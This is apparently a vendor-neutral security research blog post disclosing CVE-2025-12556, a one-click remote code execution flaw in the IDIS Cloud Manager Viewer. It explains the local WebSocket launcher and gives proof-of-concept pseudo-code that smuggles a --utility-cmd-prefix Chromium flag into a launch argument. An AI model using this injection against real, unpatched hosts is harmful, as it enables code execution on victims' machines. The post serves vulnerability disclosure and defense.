New Architecture, New Risks: One-Click to Pwn IDIS IP Cameras

Introduction

Modern capabilities, such as cloud-powered management, analytics, and detection, have introduced a new architectural era to IP-based video surveillance, which remains a prominent safety feature across enterprises, manufacturing facilities, military installations, and even apartments and small businesses. What was once a world of on-premesis network video recorders (NVRs), local storage arrays, and LAN-based management systems is now a connected environment largely operating in the cloud.

The cloud has introduced centralized management dashboards, remote access portals, automated updates, and much more bringing better security and efficiency to these critical systems. Each new feature, however, introduces new realms of risk and exposures. Video surveillance, like other smart internet-of-things devices, brings new complexity that must be managed as attackers probe exposed devices to disrupt business and move deeper onto sensitive networks. 

As part of our ongoing research into modern cloud-enabled surveillance ecosystems, we turned our attention to a major vendor in the surveillance domain, IDIS. IDIS is a global video surveillance manufacturer headquartered in South Korea. IDIS manufactures an end-to-end solution of surveillance products, including IP cameras, network video recorders (NVRs), and video management software (VMS). In addition to the on-prem devices, IDIS offers a cloud management solution called IDIS Cloud Manager (ICM). 

Our research uncovered a new vulnerability in the IDIS Cloud Manager (ICM) viewer; an attacker could develop an exploit whereby if a user clicks on an untrusted link, the attack would execute on the machine hosting the ICM Viewer. 

Clicking on untrusted links is widely recognized as a bad practice, and users are routinely educated to avoid doing so. However, under normal circumstances, even if a victim is tricked into visiting an attacker-controlled website, the attacker is typically limited to executing JavaScript within the context of the victim’s browser, which is heavily sandboxed.

This vulnerability, however, allows an attacker to escalate beyond the browser sandbox to achieve code execution on the host, introducing a significant security risk.  This renders the vulnerability as a 1-click RCE vulnerability, introducing an interesting attack scenario in which a spear-phishing attack could easily be leveraged into a full compromise of the victim’s computer, giving attackers a leg-in to the victim’s network.

If exploited, the vulnerability could allow an attacker to execute arbitrary code within the context of the host machine. IDIS ICM runs on a Windows machine connected to the cloud in order to view live video feeds, recordings, and search images. An attacker would be in control of the host machine and have the ability to execute code, or use that machine as a jumping off point for lateral movement to compromise other endpoints on the network, including other surveillance cameras. 

IDIS requires users who continue to use the ICM Viewer to upgrade devices to v1.7.1, otherwise they should uninstall it immediately. 

This blog delves into the implementation of the cloud solution from a client-side perspective. The engineers made an interesting design choice to enhance the user experience, which introduced a surprising attack vector that we will examine to understand how an attacker could exploit it to achieve code execution on the victim's computer. 

IDIS Cloud Manager Architecture

IDIS’ cloud consists of the IDIS cloud platform, devices (cameras and NVRs), and the ICM Viewer (desktop and mobile). This blog takes a deeper look into ICM Viewer (Web Client) on the PC.

The desktop IDIS Web Client consists of two independent components:

ICM Web Portal: A web-based user interface with an assets dashboard in which a user adds and edits devices for cloud management.

ICM Viewer: A program that is installed on Windows machines only. There are two components to the installation:

• WCMViewer.exe (ICM Viewer): A Chromium-based UI that allows a user to perform a live monitoring, video search, and backup. The data presented in the client is delivered from the cloud. The authorization is enforced via a JWT token that is received from IDIS Cloud Manager upon a login to the web portal .

• CWGService.exe (ICMViewer Launcher): A Windows service that listens on port localhost:16140 and waits for a command to start the ICM Viewer with appropriate arguments like JWT Token, language and more. The command to start the Viewer is done by clicking the “Run Viewer” button on the web portal. 

Connection and Authentication Procedure

The following are the steps that are executed when a user logs in to the web portal and runs the ICM Viewer: 

1. User provides the username and password on the web portal

2. The browser generates an RSA key pair

3. The browser encrypts the data (username, password, public RSA key) with a constant key and sends it to the server.

4. Upon successful authentication the server responds with following information:

•  AES key that will be used for further communication (encrypted with RSA public key)

• Encrypted (with AES key from 1.) JWT token that will used for communication between ICM Viewer and the cloud server

• Encrypted (with AES key from 1.) seed key; at the time probably not used

• Encrypted (with AES key from 1.) information about the logged in account

At this point, a user has access to a dashboard. Within the dashboard the user can add, edit, and delete devices for cloud management.

Once the assets are added, a user can click the “Run Viewer” button (if the installation does not exist or is outdated, and will be prompted to install the program). When a user clicks on “Run Viewer,” the following procedure starts:

1. The web client opens WebSocket communication with localhost:16140

2. The web client encrypts with a constant key, a message that includes the version of expected CWGService and the version of the expected ICM Viewer

3. If CWGService responds, that means that the versions are correct and the server can accept commands.

4. The web client therefore sends a message (encrypted with constant key) with a command to initiate the ICM Viewer

The following is the decrypted message that is sent via web socket to start the “ICM Viewer”:

OEM:1
DATATYPE:2
EXECUTECMD: {
    "title": "ICM Viewer",
    "url": "icm.idisglobal.com",
    "protocol": "https:",
    "serverAddress": "https://icm.idisglobal.com",
    "xAccessToken": "base64(JWT.Token)",
    "viewerMode": "LIVE",
    "viewerLanguage": "en-USA",
    "viewerHashX86": "B75...7D8",
    "viewerHashX64": "748...6E9"
}

When this message is received by the CWGService the following process is executed:

WCMViewer.exe --url="https://icm.idisglobal.com" --token=base64(JWT.Token) --mode=w --language=en-US

At this point the ICM Viewer starts and executes all of its sub-processes:

CVE-2025-12556

When WCMViewer.exe is launched with several arguments: the URL, token, mode, and language. It appears that the URL and the token are passed through, directly from the message received over the WebSocket without any additional processing.

The question arises: Can we inject arguments of our own into the WCMViewer.exe?

As mentioned earlier, WCMViewer.exe is a Chromium-based application. It utilizes the CEF library, which allows a Chromium browser to be embedded directly inside an application. This raises an interesting question: Will WCMViewer.exe accept additional Chromium command-line flags beyond the intended ?

Chromium command-line flags provide a powerful mechanism for altering browser behavior at runtime, allowing developers to tailor functionality without modifying the Chromium application; however, while most flags are benign, a subset can be abused to enable code execution.

One such flag is --utility-cmd-prefix, which is primarily intended for debugging purposes. For example, passing --utility-cmd-prefix="strace" to the Chromium command line causes the browser and its utility subprocesses to be wrapped with strace, enabling detailed runtime tracing.

Let’s see whether we can inject an argument into the command line that is executed by CWGService.  To do so, we need to send an appropriate (crafted to include argument injection) message to the CWGService. The following steps are needed:

1. Encrypt (with constant key) “hello” message and send it to the CWGService (via WebSocket)

2. Receive an acknowledgement from the CWGService (no need to decrypt)

3. Encrypt (with constant key) the command message with the injection and send it to the CWGService:

Below is our pseudo code of our proof-of-concept exploit.

def encrypt(data, key):
    ...

#Construct the "hello" message
hello_message = {
    "OEM":"1",
    "DATATYPE":"1",
    "CWG":"1.4.0.6",
    "VIEWER":"1.6.0.10"
}
#Construct the execution message with argument injection
cmd_message = {
    "title": "ICM Viewer",
    "url": "icm.idisglobal.com",
    "protocol": "https:",
    "serverAddress": "\" --utility-cmd-prefix=\"notepad",
    "xAccessToken": "",
    "viewerMode": "SEARCH",
    "viewerLanguage": "en-US",
    "viewerHashX86": "B75...7D8",
    "viewerHashX64": "748...6E9"
}

#Open the Web Socket
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:16140")
#Send the "hello" message - this will start the communiction with CWG service
ws.send(encrypt(hello_message, HARD_CODED_KEY))
ws.recv(1024)
#Send the execution message - this will inject the argument
ws.send(encrypt(cmd_message, HARD_CODED_KEY))

As a result:

CWGService appends the injected argument to the executed command line:

WCMViewer.exe passes the injected parameter to the CEF library and our code is executed.

An attacker’s objective is to achieve code execution on the victim’s system. Because the CWGService listens only on the local interface, an attacker can leverage client-side execution by hosting a web page containing JavaScript that sends a crafted WebSocket message to localhost:16140. By tricking the victim into visiting this attacker-controlled page, the JavaScript executes in the victim’s browser context and delivers the malicious message to the local service, resulting in code execution on the victim host.

Clicking on untrusted links is widely recognized as a bad practice, and users are routinely educated to avoid doing so. However, under normal circumstances, even if a victim is tricked into visiting an attacker-controlled website, the attacker is typically limited to executing JavaScript within the context of the victim’s browser, which is heavily sandboxed.

In contrast, this vulnerability allows an attacker to escalate beyond the browser sandbox and achieve code execution on the host itself, introducing a significant security risk.

Disclosure

The vulnerability was disclosed to IDIS and confirmed by the vendor soon after disclosure. CISA issued CVE-2025-12556 with CVSS v4 score of 8.7. All customers are advised to patch their systems. The CISA advisory can be found here.

Wrapping Up

The introduction of a new architecture, or feature requires that every step within the chain be thoroughly checked. Our research and exploit was possible because of the following flaws:

1. The CWSService does not validate origin (missing CORS policy), thus it is possible to communicate with the WebSocket outside of the idisglobal.com domain

2. Although the messages are encrypted, the encryption happens with a constant key so an attacker can easily communicate with the socket

3. The CWGService does not sanitizes the passed arguments

4. The WCMViewer does not validate the passed arguments whether they are legit before forwarding them to the CEF component.

Attackers will always look for attack surfaces introduced by new design changes in a product.  We encourage the researchers to look for those exposures as well and disclose the vulnerabilities as soon as they are found. We encourage the users to be in the know of what devices they own, and patch them as soon as possible.